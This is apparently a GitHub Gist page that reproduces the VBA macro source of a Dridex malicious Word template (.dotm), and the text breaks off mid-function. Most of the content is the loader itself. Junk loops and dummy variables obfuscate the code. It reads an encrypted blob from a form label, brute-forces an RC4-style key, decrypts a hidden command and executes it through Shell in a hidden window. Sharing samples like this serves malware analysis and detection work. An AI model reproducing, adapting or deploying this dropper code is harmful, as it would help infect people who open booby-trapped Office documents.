-
-
Save Antelox/262f232ced92e21c3a5f8bb3281dd770 to your computer and use it in GitHub Desktop.
Original vba code inside the dridex's dotm file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim SRNATGh() As Byte | |
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long | |
Private Sub GmY() | |
Dim GLxZqJ2 As Integer | |
GLxZqJ2 = 89 | |
If GLxZqJ2 > 33 Then | |
GLxZqJ2 = 4 | |
Do | |
GLxZqJ2 = GLxZqJ2 + 1 | |
Loop While GLxZqJ2 <= 220 | |
End If | |
Dim U7PlAu1 As String | |
If Round(55, 446) = True Then U7PlAu1 = "990" | |
Dim N42Wo() As String, RJz As Integer | |
Dim BzS As Integer | |
BzS = 67 | |
If BzS > 25 Then | |
BzS = 2 | |
Do While BzS <= 264 | |
BzS = BzS + 1 | |
Loop | |
End If | |
Dim U7PlAu2 As String | |
If IsDate(923) = True Then U7PlAu2 = "552" | |
N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44)) | |
Dim DcEbd5 As Integer | |
DcEbd5 = 24 | |
If DcEbd5 > 32 Then | |
DcEbd5 = 9 | |
Do Until DcEbd5 >= 27 | |
DcEbd5 = DcEbd5 + 1 | |
Loop | |
End If | |
Dim U7PlAu3 As String | |
ReDim SRNATGh(3627) | |
Dim WG As Integer | |
WG = 94 | |
If WG > 29 Then | |
WG = 4 | |
Do While WG <= 205 | |
WG = WG + 1 | |
Loop | |
End If | |
Dim U7PlAu4 As String | |
U7PlAu4 = CVar(346) | |
For RJz = 0 To 3627 | |
SRNATGh(RJz) = N42Wo(RJz) | |
Next RJz | |
Dim OXK As Integer | |
OXK = 62 | |
If OXK > 22 Then | |
OXK = 8 | |
Do While OXK <= 11 | |
OXK = OXK + 1 | |
Loop | |
End If | |
Dim U7PlAu5 As String | |
U7PlAu5 = CDate(913) | |
Dim Mea As Long | |
Dim MoSP9Y8 As Integer | |
MoSP9Y8 = 87 | |
If MoSP9Y8 > 38 Then | |
MoSP9Y8 = 8 | |
Do Until MoSP9Y8 >= 157 | |
MoSP9Y8 = MoSP9Y8 + 1 | |
Loop | |
End If | |
Dim U7PlAu6 As String | |
If IsMissing(346) = True Then U7PlAu6 = 966 | |
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte | |
Dim SjGdk As Integer | |
SjGdk = 26 | |
If SjGdk > 29 Then | |
SjGdk = 6 | |
While SjGdk <= 253 | |
SjGdk = SjGdk + 1 | |
Wend | |
End If | |
Dim U7PlAu7 As String | |
U7PlAu7 = CByte(66) | |
XSRK2vh(0) = 237 | |
XSRK2vh(1) = 28 | |
XSRK2vh(2) = 3 | |
XSRK2vh(3) = 238 | |
XSRK2vh(4) = 231 | |
XSRK2vh(5) = 14 | |
XSRK2vh(6) = 250 | |
XSRK2vh(7) = 213 | |
XSRK2vh(8) = 86 | |
XSRK2vh(9) = 253 | |
XSRK2vh(10) = 10 | |
XSRK2vh(11) = 215 | |
XSRK2vh(12) = 237 | |
XSRK2vh(13) = 58 | |
Dim OREO As Integer | |
OREO = 62 | |
If OREO > 27 Then | |
OREO = 2 | |
While OREO <= 149 | |
OREO = OREO + 1 | |
Wend | |
End If | |
Dim U7PlAu8 As String | |
U7PlAu8 = Year(Now) | |
SSXJM(0) = 79 | |
SSXJM(1) = 88 | |
SSXJM(2) = 80 | |
SSXJM(3) = 87 | |
SSXJM(4) = 89 | |
SSXJM(5) = 77 | |
SSXJM(6) = 101 | |
SSXJM(7) = 50 | |
SSXJM(8) = 86 | |
SSXJM(9) = 118 | |
SSXJM(10) = 54 | |
SSXJM(11) = 70 | |
SSXJM(12) = 120 | |
SSXJM(13) = 90 | |
SSXJM(14) = 103 | |
SSXJM(15) = 117 | |
SSXJM(16) = 65 | |
Dim FvUA As Integer | |
FvUA = 30 | |
If FvUA > 37 Then | |
FvUA = 8 | |
Do | |
FvUA = FvUA + 1 | |
Loop While FvUA <= 279 | |
End If | |
Dim U7PlAu9 As String | |
If IsError(729) = True Then U7PlAu9 = "342" | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
SSXJM(17) = UMI(Mea, 1) | |
SSXJM(18) = UMI(Mea, 2) | |
SSXJM(19) = UMI(Mea, 3) | |
SSXJM(20) = UMI(Mea, 4) | |
SSXJM(21) = SSXJM(17) | |
SSXJM(22) = SSXJM(18) | |
SSXJM(23) = SSXJM(19) | |
SSXJM(24) = SSXJM(20) | |
SSXJM(25) = SSXJM(17) | |
SSXJM(26) = SSXJM(18) | |
SSXJM(27) = SSXJM(19) | |
SSXJM(28) = SSXJM(20) | |
SSXJM(29) = SSXJM(17) | |
SSXJM(30) = SSXJM(18) | |
SSXJM(31) = SSXJM(19) | |
SSXJM(32) = SSXJM(20) | |
SSXJM(33) = SSXJM(17) | |
SSXJM(34) = SSXJM(18) | |
SSXJM(35) = SSXJM(19) | |
SSXJM(36) = SSXJM(20) | |
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For | |
Next Mea | |
Dim SjR As Integer | |
SjR = 89 | |
If SjR > 37 Then | |
SjR = 1 | |
While SjR <= 137 | |
SjR = SjR + 1 | |
Wend | |
End If | |
Dim U7PlAu10 As String | |
Dim NYAqlva(10) As Byte, DjFRc(35) As Byte | |
Dim Ir0HJs As Integer | |
Ir0HJs = 15 | |
If Ir0HJs > 37 Then | |
Ir0HJs = 3 | |
For Ir0HJs = 1 To 130 | |
Ir0HJs = Ir0HJs + 1 | |
Next | |
End If | |
Dim U7PlAu11 As String | |
U7PlAu11 = Minute(Now) | |
NYAqlva(0) = 86 | |
NYAqlva(1) = 3 | |
NYAqlva(2) = 109 | |
NYAqlva(3) = 200 | |
NYAqlva(4) = 61 | |
NYAqlva(5) = 230 | |
NYAqlva(6) = 34 | |
NYAqlva(7) = 53 | |
NYAqlva(8) = 211 | |
NYAqlva(9) = 172 | |
NYAqlva(10) = 225 | |
Dim XBmhy As Integer | |
XBmhy = 18 | |
If XBmhy > 29 Then | |
XBmhy = 6 | |
Do Until XBmhy >= 87 | |
XBmhy = XBmhy + 1 | |
Loop | |
End If | |
Dim U7PlAu12 As String | |
DjFRc(0) = 77 | |
DjFRc(1) = 120 | |
DjFRc(2) = 69 | |
DjFRc(3) = 90 | |
DjFRc(4) = 107 | |
DjFRc(5) = 89 | |
DjFRc(6) = 72 | |
DjFRc(7) = 100 | |
DjFRc(8) = 52 | |
DjFRc(9) = 87 | |
DjFRc(10) = 87 | |
DjFRc(11) = 105 | |
DjFRc(12) = 84 | |
DjFRc(13) = 55 | |
DjFRc(14) = 52 | |
DjFRc(15) = 89 | |
Dim BCLxSgi As Integer | |
BCLxSgi = 61 | |
If BCLxSgi > 32 Then | |
BCLxSgi = 9 | |
For BCLxSgi = 1 To 45 | |
BCLxSgi = BCLxSgi + 1 | |
Next | |
End If | |
Dim U7PlAu13 As String | |
U7PlAu13 = Day(397) | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
DjFRc(16) = UMI(Mea, 1) | |
DjFRc(17) = UMI(Mea, 2) | |
DjFRc(18) = UMI(Mea, 3) | |
DjFRc(19) = UMI(Mea, 4) | |
DjFRc(20) = DjFRc(16) | |
DjFRc(21) = DjFRc(17) | |
DjFRc(22) = DjFRc(18) | |
DjFRc(23) = DjFRc(19) | |
DjFRc(24) = DjFRc(16) | |
DjFRc(25) = DjFRc(17) | |
DjFRc(26) = DjFRc(18) | |
DjFRc(27) = DjFRc(19) | |
DjFRc(28) = DjFRc(16) | |
DjFRc(29) = DjFRc(17) | |
DjFRc(30) = DjFRc(18) | |
DjFRc(31) = DjFRc(19) | |
DjFRc(32) = DjFRc(16) | |
DjFRc(33) = DjFRc(17) | |
DjFRc(34) = DjFRc(18) | |
DjFRc(35) = DjFRc(19) | |
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For | |
Next Mea | |
Dim Lya As Integer | |
Lya = 69 | |
If Lya > 32 Then | |
Lya = 8 | |
Do While Lya <= 174 | |
Lya = Lya + 1 | |
Loop | |
End If | |
Dim U7PlAu14 As String | |
U7PlAu14 = Second(Now) | |
Dim V9PbJkV(15) As Byte, LW(36) As Byte | |
Dim KEdk As Integer | |
KEdk = 34 | |
If KEdk > 34 Then | |
KEdk = 4 | |
While KEdk <= 226 | |
KEdk = KEdk + 1 | |
Wend | |
End If | |
Dim U7PlAu15 As String | |
If 541 + 823 = 240 Then Beep | |
V9PbJkV(0) = 41 | |
V9PbJkV(1) = 167 | |
V9PbJkV(2) = 214 | |
V9PbJkV(3) = 167 | |
V9PbJkV(4) = 44 | |
V9PbJkV(5) = 230 | |
V9PbJkV(6) = 182 | |
V9PbJkV(7) = 5 | |
V9PbJkV(8) = 218 | |
V9PbJkV(9) = 85 | |
V9PbJkV(10) = 185 | |
V9PbJkV(11) = 32 | |
V9PbJkV(12) = 31 | |
V9PbJkV(13) = 179 | |
V9PbJkV(14) = 43 | |
V9PbJkV(15) = 107 | |
Dim U7PlAu16 As String | |
U7PlAu16 = Weekday(430) | |
Dim IGse As Integer | |
IGse = 11 | |
If IGse > 27 Then | |
IGse = 1 | |
Do While IGse <= 260 | |
IGse = IGse + 1 | |
Loop | |
End If | |
LW(0) = 85 | |
LW(1) = 54 | |
LW(2) = 83 | |
LW(3) = 84 | |
LW(4) = 76 | |
LW(5) = 75 | |
LW(6) = 118 | |
LW(7) = 119 | |
LW(8) = 56 | |
LW(9) = 85 | |
LW(10) = 90 | |
LW(11) = 66 | |
LW(12) = 115 | |
LW(13) = 97 | |
LW(14) = 115 | |
LW(15) = 56 | |
LW(16) = 90 | |
Dim VJ As Integer | |
VJ = 20 | |
If VJ > 21 Then | |
VJ = 9 | |
Do Until VJ >= 152 | |
VJ = VJ + 1 | |
Loop | |
End If | |
Dim U7PlAu17 As String | |
U7PlAu17 = Day(Now) | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
LW(17) = UMI(Mea, 1) | |
LW(18) = UMI(Mea, 2) | |
LW(19) = UMI(Mea, 3) | |
LW(20) = UMI(Mea, 4) | |
LW(21) = LW(17) | |
LW(22) = LW(18) | |
LW(23) = LW(19) | |
LW(24) = LW(20) | |
LW(25) = LW(17) | |
LW(26) = LW(18) | |
LW(27) = LW(19) | |
LW(28) = LW(20) | |
LW(29) = LW(17) | |
LW(30) = LW(18) | |
LW(31) = LW(19) | |
LW(32) = LW(20) | |
LW(33) = LW(17) | |
LW(34) = LW(18) | |
LW(35) = LW(19) | |
LW(36) = LW(20) | |
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For | |
Next Mea | |
Dim J9 As Integer | |
J9 = 3 | |
If J9 > 38 Then | |
J9 = 3 | |
For J9 = 1 To 16 | |
J9 = J9 + 1 | |
Next | |
End If | |
Dim U7PlAu18 As String | |
U7PlAu18 = CInt(58) | |
Dim NSJBW7B(15) As Byte, K2Z(37) As Byte | |
Dim ShRl As Integer | |
ShRl = 72 | |
If ShRl > 25 Then | |
ShRl = 8 | |
Do | |
ShRl = ShRl + 1 | |
Loop While ShRl <= 219 | |
End If | |
'ingredient | |
Dim U7PlAu19 As String | |
If CBool(865) = True Then U7PlAu19 = 113 | |
NSJBW7B(0) = 171 | |
NSJBW7B(1) = 107 | |
NSJBW7B(2) = 175 | |
NSJBW7B(3) = 221 | |
NSJBW7B(4) = 59 | |
NSJBW7B(5) = 101 | |
NSJBW7B(6) = 156 | |
NSJBW7B(7) = 9 | |
NSJBW7B(8) = 207 | |
NSJBW7B(9) = 162 | |
NSJBW7B(10) = 59 | |
NSJBW7B(11) = 196 | |
NSJBW7B(12) = 242 | |
NSJBW7B(13) = 21 | |
NSJBW7B(14) = 42 | |
NSJBW7B(15) = 42 | |
Dim QMA As Integer | |
QMA = 99 | |
If QMA > 23 Then | |
QMA = 6 | |
Do While QMA <= 71 | |
QMA = QMA + 1 | |
Loop | |
End If | |
Dim U7PlAu20 As String | |
If U7PlAu20 = "547" Then DoEvents | |
K2Z(0) = 73 | |
K2Z(1) = 101 | |
K2Z(2) = 103 | |
K2Z(3) = 108 | |
K2Z(4) = 69 | |
K2Z(5) = 54 | |
K2Z(6) = 73 | |
K2Z(7) = 70 | |
K2Z(8) = 117 | |
K2Z(9) = 101 | |
K2Z(10) = 66 | |
K2Z(11) = 89 | |
K2Z(12) = 118 | |
K2Z(13) = 69 | |
K2Z(14) = 83 | |
K2Z(15) = 66 | |
K2Z(16) = 90 | |
K2Z(17) = 98 | |
Dim E9TGqf As Integer | |
E9TGqf = 19 | |
If E9TGqf > 32 Then | |
E9TGqf = 6 | |
For E9TGqf = 1 To 105 | |
E9TGqf = E9TGqf + 1 | |
Next | |
End If | |
Dim U7PlAu21 As String | |
U7PlAu21 = NPer(18, 935, 166) | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
K2Z(18) = UMI(Mea, 1) | |
K2Z(19) = UMI(Mea, 2) | |
K2Z(20) = UMI(Mea, 3) | |
K2Z(21) = UMI(Mea, 4) | |
K2Z(22) = K2Z(18) | |
K2Z(23) = K2Z(19) | |
K2Z(24) = K2Z(20) | |
K2Z(25) = K2Z(21) | |
K2Z(26) = K2Z(18) | |
K2Z(27) = K2Z(19) | |
K2Z(28) = K2Z(20) | |
K2Z(29) = K2Z(21) | |
K2Z(30) = K2Z(18) | |
K2Z(31) = K2Z(19) | |
K2Z(32) = K2Z(20) | |
K2Z(33) = K2Z(21) | |
K2Z(34) = K2Z(18) | |
K2Z(35) = K2Z(19) | |
K2Z(36) = K2Z(20) | |
K2Z(37) = K2Z(21) | |
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For | |
Next Mea | |
Dim Jr7Qx As Integer | |
Jr7Qx = 21 | |
If Jr7Qx > 29 Then | |
Jr7Qx = 3 | |
Do | |
Jr7Qx = Jr7Qx + 1 | |
Loop While Jr7Qx <= 160 | |
End If | |
Dim U7PlAu22 As String | |
If U7PlAu22 = "944" Then U7PlAu22 = Command | |
Dim UTJ54ez As Integer | |
UTJ54ez = 69 | |
If UTJ54ez > 26 Then | |
UTJ54ez = 3 | |
For UTJ54ez = 1 To 226 | |
UTJ54ez = UTJ54ez + 1 | |
Next | |
End If | |
Dim U7PlAu23 As String | |
If Abs(680) = 80 Then U7PlAu23 = 887 | |
Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long | |
Dim Ju1 As Integer | |
Ju1 = 18 | |
If Ju1 > 31 Then | |
Ju1 = 9 | |
For Ju1 = 1 To 190 | |
Ju1 = Ju1 + 1 | |
Next | |
End If | |
Dim U7PlAu24 As String | |
SIf = 0 | |
Dim O6eJG As Integer | |
O6eJG = 28 | |
If O6eJG > 36 Then | |
O6eJG = 9 | |
Do While O6eJG <= 83 | |
O6eJG = O6eJG + 1 | |
Loop | |
End If | |
Dim U7PlAu25 As String | |
U7PlAu25 = CCur(235) | |
CRfSt = 0 | |
Dim Jb As Integer | |
Jb = 97 | |
If Jb > 34 Then | |
Jb = 1 | |
While Jb <= 263 | |
Jb = Jb + 1 | |
Wend | |
End If | |
Dim U7PlAu26 As String | |
U7PlAu26 = CLng(919) | |
For Mea = 0 To OHb(SSXJM) | |
SiHbpw(Mea) = SSXJM(Mea) | |
SIf = SIf + 1 | |
Next Mea | |
Dim E9mRm3 As Integer | |
E9mRm3 = 83 | |
If E9mRm3 > 38 Then | |
E9mRm3 = 5 | |
While E9mRm3 <= 220 | |
E9mRm3 = E9mRm3 + 1 | |
Wend | |
End If | |
Dim U7PlAu27 As String | |
U7PlAu27 = CDbl(242) | |
For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf | |
SiHbpw(Mea) = DjFRc(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
Dim ThB2l As Integer | |
ThB2l = 69 | |
If ThB2l > 20 Then | |
ThB2l = 9 | |
While ThB2l <= 256 | |
ThB2l = ThB2l + 1 | |
Wend | |
End If | |
Dim U7PlAu28 As String | |
CRfSt = 0 | |
Dim ThW9vl As Integer | |
ThW9vl = 81 | |
If ThW9vl > 24 Then | |
ThW9vl = 5 | |
While ThW9vl <= 212 | |
ThW9vl = ThW9vl + 1 | |
Wend | |
End If | |
Dim U7PlAu29 As String | |
U7PlAu29 = CVar(733) | |
For Mea = SIf To OHb(LW) + SIf | |
SiHbpw(Mea) = LW(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
Dim IQo2fX As Integer | |
IQo2fX = 29 | |
If IQo2fX > 25 Then | |
IQo2fX = 9 | |
Do Until IQo2fX >= 249 | |
IQo2fX = IQo2fX + 1 | |
Loop | |
End If | |
Dim U7PlAu30 As String | |
U7PlAu30 = Year(Now) | |
CRfSt = 0 | |
Dim Ya9Z6 As Integer | |
Ya9Z6 = 82 | |
If Ya9Z6 > 23 Then | |
Ya9Z6 = 6 | |
Do While Ya9Z6 <= 156 | |
Ya9Z6 = Ya9Z6 + 1 | |
Loop | |
End If | |
Dim U7PlAu31 As String | |
U7PlAu31 = TimeSerial(104, 352, 337) | |
For Mea = SIf To OHb(K2Z) + SIf | |
SiHbpw(Mea) = K2Z(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
Dim V5PXtk As Integer | |
V5PXtk = 98 | |
If V5PXtk > 34 Then | |
V5PXtk = 1 | |
Do While V5PXtk <= 192 | |
V5PXtk = V5PXtk + 1 | |
Loop | |
End If | |
Dim U7PlAu32 As String | |
U7PlAu32 = DoEvents | |
OcMm1T = Cv8Cg3(SRNATGh, SiHbpw) | |
Dim LGE As Integer | |
LGE = 16 | |
If LGE > 23 Then | |
LGE = 9 | |
Do While LGE <= 148 | |
LGE = LGE + 1 | |
Loop | |
End If | |
Dim U7PlAu33 As String | |
U7PlAu33 = CurDir | |
Shell OcMm1T, (374 - 374) | |
Dim OZ As Integer | |
OZ = 24 | |
If OZ > 39 Then | |
OZ = 6 | |
Do | |
OZ = OZ + 1 | |
Loop While OZ <= 100 | |
End If | |
Dim U7PlAu34 As String | |
U7PlAu34 = CInt(267) | |
End Sub | |
Private Sub GwQ9d() | |
Dim WQ0IzA1 As Integer | |
WQ0IzA1 = 74 | |
If WQ0IzA1 > 38 Then | |
WQ0IzA1 = 5 | |
For WQ0IzA1 = 1 To 61 | |
WQ0IzA1 = WQ0IzA1 + 1 | |
Next | |
End If | |
Dim U7PlAu35 As String | |
U7PlAu35 = Hour(Now) | |
Dim EZu5 As Integer | |
EZu5 = 79 | |
If EZu5 > 35 Then | |
EZu5 = 9 | |
Do Until EZu5 >= 66 | |
EZu5 = EZu5 + 1 | |
Loop | |
End If | |
Dim U7PlAu36 As String | |
U7PlAu36 = Month(792) | |
End Sub | |
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String | |
Dim GJGmH9 As Integer | |
GJGmH9 = 18 | |
If GJGmH9 > 37 Then | |
GJGmH9 = 8 | |
Do | |
GJGmH9 = GJGmH9 + 1 | |
Loop While GJGmH9 <= 74 | |
End If | |
Dim U7PlAu37 As String | |
If U7PlAu37 = "746" Then MsgBox 669, 893, "955" | |
Dim Wz(1) As Byte, KPA3 As Byte, LrdfxYI As Byte | |
Dim ODbR8oE As Integer | |
ODbR8oE = 3 | |
If ODbR8oE > 20 Then | |
ODbR8oE = 3 | |
Do Until ODbR8oE >= 188 | |
ODbR8oE = ODbR8oE + 1 | |
Loop | |
End If | |
Dim U7PlAu38 As String | |
If IsDate(500) = True Then U7PlAu38 = "883" | |
If BHxHFg < 0 Then Exit Function | |
Dim Gghli As Integer | |
Gghli = 5 | |
If Gghli > 24 Then | |
Gghli = 7 | |
Do | |
Gghli = Gghli + 1 | |
Loop While Gghli <= 300 | |
End If | |
Dim U7PlAu39 As String | |
U7PlAu39 = DoEvents | |
If BHxHFg > 255 Then | |
Dim XjQ As Integer | |
XjQ = 16 | |
If XjQ > 23 Then | |
XjQ = 9 | |
Do While XjQ <= 148 | |
XjQ = XjQ + 1 | |
Loop | |
End If | |
Dim U7PlAu40 As String | |
U7PlAu40 = CurDir | |
LrdfxYI = 0 | |
Else | |
Dim D4qRk As Integer | |
D4qRk = 38 | |
If D4qRk > 24 Then | |
D4qRk = 9 | |
While D4qRk <= 214 | |
D4qRk = D4qRk + 1 | |
Wend | |
End If | |
Dim U7PlAu41 As String | |
If Round(764, 817) = True Then U7PlAu41 = "659" | |
KPA3 = BHxHFg | |
Dim RI99Rye As Integer | |
RI99Rye = 17 | |
If RI99Rye > 38 Then | |
RI99Rye = 7 | |
Do Until RI99Rye >= 151 | |
RI99Rye = RI99Rye + 1 | |
Loop | |
End If | |
Dim U7PlAu42 As String | |
U7PlAu42 = Now | |
LrdfxYI = 0 | |
Dim W6Kq As Integer | |
W6Kq = 18 | |
If W6Kq > 21 Then | |
W6Kq = 4 | |
Do While W6Kq <= 287 | |
'be | |
W6Kq = W6Kq + 1 | |
Loop | |
End If | |
Dim U7PlAu43 As String | |
U7PlAu43 = Second(Now) | |
End If | |
Dim OI As Integer | |
OI = 33 | |
If OI > 37 Then | |
OI = 1 | |
Do Until OI >= 190 | |
OI = OI + 1 | |
Loop | |
End If | |
Dim U7PlAu44 As String | |
DateSerial 286, 737, 374 | |
Wz(0) = KPA3 | |
Dim UfGEi As Integer | |
UfGEi = 79 | |
If UfGEi > 33 Then | |
UfGEi = 4 | |
For UfGEi = 1 To 36 | |
UfGEi = UfGEi + 1 | |
Next | |
End If | |
Dim U7PlAu45 As String | |
If U7PlAu45 = "215" Then U7PlAu45 = EOF(684) | |
Wz(1) = LrdfxYI | |
Dim FJFBW As Integer | |
FJFBW = 88 | |
If FJFBW > 39 Then | |
FJFBW = 5 | |
Do | |
FJFBW = FJFBW + 1 | |
Loop While FJFBW <= 97 | |
End If | |
Dim U7PlAu46 As String | |
U7PlAu46 = Month(243) | |
Qxd7GSg = Wz | |
Dim TupjlMa As Integer | |
TupjlMa = 47 | |
If TupjlMa > 38 Then | |
TupjlMa = 4 | |
Do | |
TupjlMa = TupjlMa + 1 | |
Loop While TupjlMa <= 191 | |
End If | |
Dim U7PlAu47 As String | |
U7PlAu47 = Dir("190") | |
End Function | |
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String | |
Dim Vuba As Integer | |
Vuba = 66 | |
If Vuba > 32 Then | |
Vuba = 3 | |
Do | |
Vuba = Vuba + 1 | |
Loop While Vuba <= 291 | |
End If | |
On Error Resume Next | |
Dim FVxV As Integer | |
FVxV = 73 | |
If FVxV > 37 Then | |
FVxV = 7 | |
Do | |
FVxV = FVxV + 1 | |
Loop While FVxV <= 82 | |
End If | |
Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte | |
Dim Xhe0kgJ As Integer | |
Xhe0kgJ = 56 | |
If Xhe0kgJ > 38 Then | |
Xhe0kgJ = 4 | |
Do | |
Xhe0kgJ = Xhe0kgJ + 1 | |
Loop While Xhe0kgJ <= 181 | |
End If | |
ReDim GA(OHb(K2fkl)) As Byte | |
Dim QP421G6 As Integer | |
QP421G6 = 26 | |
If QP421G6 > 36 Then | |
QP421G6 = 2 | |
Do | |
QP421G6 = QP421G6 + 1 | |
Loop While QP421G6 <= 273 | |
End If | |
GA = K2fkl | |
Dim Jwrj76 As Integer | |
Jwrj76 = 51 | |
If Jwrj76 > 26 Then | |
Jwrj76 = 9 | |
For Jwrj76 = 1 To 94 | |
Jwrj76 = Jwrj76 + 1 | |
Next | |
End If | |
ReDim OT(OHb(TBfWWQw)) As Byte | |
Dim LgtJoH As Integer | |
LgtJoH = 86 | |
If LgtJoH > 34 Then | |
LgtJoH = 2 | |
While LgtJoH <= 215 | |
LgtJoH = LgtJoH + 1 | |
'worshipper | |
Wend | |
End If | |
OT = TBfWWQw | |
Dim MQwtUTa As Integer | |
MQwtUTa = 47 | |
If MQwtUTa > 38 Then | |
MQwtUTa = 4 | |
Do Until MQwtUTa >= 148 | |
MQwtUTa = MQwtUTa + 1 | |
Loop | |
End If | |
For TzwC2o8 = 0 To 255 | |
DkB(TzwC2o8) = TzwC2o8 | |
Next TzwC2o8 | |
Dim OCU2 As Integer | |
OCU2 = 36 | |
If OCU2 > 40 Then | |
OCU2 = 2 | |
Do | |
OCU2 = OCU2 + 1 | |
Loop While OCU2 <= 206 | |
End If | |
TzwC2o8 = 0 | |
Dim Jq04sI As Integer | |
Jq04sI = 94 | |
If Jq04sI > 24 Then | |
Jq04sI = 9 | |
Do Until Jq04sI >= 239 | |
Jq04sI = Jq04sI + 1 | |
Loop | |
End If | |
JuxOGCD = 0 | |
Dim Tvzseu As Integer | |
Tvzseu = 6 | |
If Tvzseu > 28 Then | |
Tvzseu = 4 | |
Do While Tvzseu <= 52 | |
Tvzseu = Tvzseu + 1 | |
Loop | |
End If | |
YpxaVbI = 0 | |
Dim LHNrk As Integer | |
LHNrk = 45 | |
If LHNrk > 30 Then | |
LHNrk = 4 | |
For LHNrk = 1 To 203 | |
LHNrk = LHNrk + 1 | |
Next | |
End If | |
For TzwC2o8 = 0 To 255 | |
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256)) | |
TjCv = DkB(TzwC2o8) | |
DkB(TzwC2o8) = DkB(JuxOGCD) | |
DkB(JuxOGCD) = TjCv | |
Next TzwC2o8 | |
Dim Yi5lkRI As Integer | |
Yi5lkRI = 70 | |
If Yi5lkRI > 39 Then | |
Yi5lkRI = 5 | |
Do | |
Yi5lkRI = Yi5lkRI + 1 | |
Loop While Yi5lkRI <= 199 | |
End If | |
TzwC2o8 = 0 | |
Dim FRMTHI As Integer | |
FRMTHI = 92 | |
If FRMTHI > 31 Then | |
FRMTHI = 7 | |
Do Until FRMTHI >= 232 | |
FRMTHI = FRMTHI + 1 | |
Loop | |
End If | |
JuxOGCD = 0 | |
Dim JXLH3 As Integer | |
JXLH3 = 39 | |
If JXLH3 > 38 Then | |
JXLH3 = 4 | |
Do | |
JXLH3 = JXLH3 + 1 | |
Loop While JXLH3 <= 170 | |
End If | |
YpxaVbI = 0 | |
Dim Oc6xzpN As Integer | |
Oc6xzpN = 80 | |
If Oc6xzpN > 23 Then | |
Oc6xzpN = 7 | |
Do While Oc6xzpN <= 78 | |
Oc6xzpN = Oc6xzpN + 1 | |
Loop | |
End If | |
For TzwC2o8 = 0 To OHb(K2fkl) | |
JuxOGCD = SGo0s((JuxOGCD + 1), 256) | |
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256) | |
TjCv = DkB(JuxOGCD) | |
DkB(JuxOGCD) = DkB(YpxaVbI) | |
DkB(YpxaVbI) = TjCv | |
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256))))) | |
Next TzwC2o8 | |
Dim DhJtb As Integer | |
DhJtb = 82 | |
If DhJtb > 37 Then | |
DhJtb = 8 | |
Do Until DhJtb >= 221 | |
DhJtb = DhJtb + 1 | |
Loop | |
End If | |
Cv8Cg3 = M6C(GA) | |
Dim BTy1hu As Integer | |
BTy1hu = 94 | |
If BTy1hu > 35 Then | |
BTy1hu = 2 | |
While BTy1hu <= 57 | |
BTy1hu = BTy1hu + 1 | |
Wend | |
End If | |
End Function | |
Private Function Iy23W(Y4lZ, RvJWmVD) | |
Dim Tr90m67 As Integer | |
Tr90m67 = 69 | |
If Tr90m67 > 40 Then | |
Tr90m67 = 4 | |
Do Until Tr90m67 >= 257 | |
Tr90m67 = Tr90m67 + 1 | |
Loop | |
End If | |
Dim U7PlAu48 As String | |
If U7PlAu48 = "345" Then GetObject "820", "113" | |
Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD) | |
Dim VjZ As Integer | |
VjZ = 94 | |
If VjZ > 30 Then | |
VjZ = 8 | |
Do Until VjZ >= 92 | |
VjZ = VjZ + 1 | |
Loop | |
End If | |
Dim U7PlAu49 As String | |
DateSerial 885, 921, 550 | |
End Function | |
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long | |
Dim CD6ErW As Integer | |
CD6ErW = 34 | |
If CD6ErW > 20 Then | |
CD6ErW = 9 | |
Do Until CD6ErW >= 185 | |
CD6ErW = CD6ErW + 1 | |
Loop | |
End If | |
Dim U7PlAu50 As String | |
U7PlAu50 = AscB(741) | |
On Error GoTo S97 | |
Dim DHs4 As Integer | |
DHs4 = 60 | |
If DHs4 > 24 Then | |
DHs4 = 6 | |
Do While DHs4 <= 171 | |
DHs4 = DHs4 + 1 | |
Loop | |
End If | |
Dim U7PlAu51 As String | |
U7PlAu51 = Year(497) | |
Dim Jkpzfs As Long, SzvYWV As Variant | |
Dim SSrgY As Integer | |
SSrgY = 5 | |
If SSrgY > 23 Then | |
SSrgY = 1 | |
While SSrgY <= 233 | |
SSrgY = SSrgY + 1 | |
Wend | |
End If | |
Dim U7PlAu52 As String | |
U7PlAu52 = Hour(645) | |
Do | |
SzvYWV = Uv0ZqrD(Jkpzfs) | |
Jkpzfs = Jkpzfs + 1 | |
Loop | |
Dim LBCjr As Integer | |
LBCjr = 69 | |
If LBCjr > 24 Then | |
LBCjr = 6 | |
Do | |
LBCjr = LBCjr + 1 | |
Loop While LBCjr <= 297 | |
End If | |
Dim U7PlAu53 As String | |
If U7PlAu53 = "705" Then U7PlAu53 = Command | |
S97: | |
Dim QLJUw As Integer | |
QLJUw = 98 | |
